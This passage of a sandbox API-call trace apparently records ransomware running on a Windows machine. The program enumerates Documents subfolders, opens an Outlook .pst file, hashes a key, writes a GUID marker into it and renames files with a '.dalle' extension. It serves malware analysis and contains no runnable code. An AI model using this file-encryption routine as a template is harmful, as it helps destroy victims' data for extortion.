dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.150] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.150] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.150] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.150] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.150] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.150] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.150] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.150] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.150] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.150] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.150] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.150] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.150] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.151] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.151] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.151] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.151] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.151] PathFindFileNameW (pszPath="") returned="" [0121.151] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.151] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7421420, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x26b8a880, ftLastAccessTime.dwHighDateTime=0x1d4c764, ftLastWriteTime.dwLowDateTime=0x26b8a880, ftLastWriteTime.dwHighDateTime=0x1d4c764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qIBuq", cAlternateFileName="")) returned 0xffffffff [0121.151] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.151] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30186c8 [0121.151] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.151] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.151] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.151] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0121.151] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.151] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.151] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.151] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.151] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.151] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.151] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.151] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.151] PathFindFileNameW (pszPath="") returned="" [0121.151] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.151] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.152] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.152] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0121.152] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.152] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.152] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned=".ini" [0121.152] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0121.152] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.152] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.152] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned=".vss" [0121.152] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.153] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=0) returned 1 [0121.153] CloseHandle (hObject=0x618) returned 1 [0121.153] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0121.153] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.dalle")) returned 1 [0121.154] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0121.154] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0121.154] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.154] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.154] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.154] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0121.154] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.154] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.154] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.154] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.154] PathFindFileNameW (pszPath="") returned="" [0121.155] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0121.155] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.155] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.155] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0121.155] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.155] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.155] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.155] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.155] PathFindFileNameW (pszPath="") returned="" [0121.155] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.155] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.155] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0121.155] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned=".pst" [0121.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.156] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=271360) returned 1 [0121.156] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.158] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x423da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.158] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.159] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.159] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x25805, lpOverlapped=0x0) returned 1 [0121.162] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.162] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.162] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.162] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0121.163] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.163] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.163] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.163] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.163] GetLastError () returned 0x0 [0121.163] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.163] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0121.164] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x42400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.259] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.259] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.260] CloseHandle (hObject=0x618) returned 1 [0121.262] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.262] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.262] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.262] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.dalle")) returned 1 [0121.263] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.263] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e0d8 | out: hHeap=0x5e0000) returned 1 [0121.264] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0121.264] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30186c8 | out: hHeap=0x5e0000) returned 1 [0121.264] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.264] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30186c8 [0121.264] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.264] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.264] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.264] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.264] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.264] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.264] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.264] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.264] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.264] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.264] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.264] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.265] HeapFree 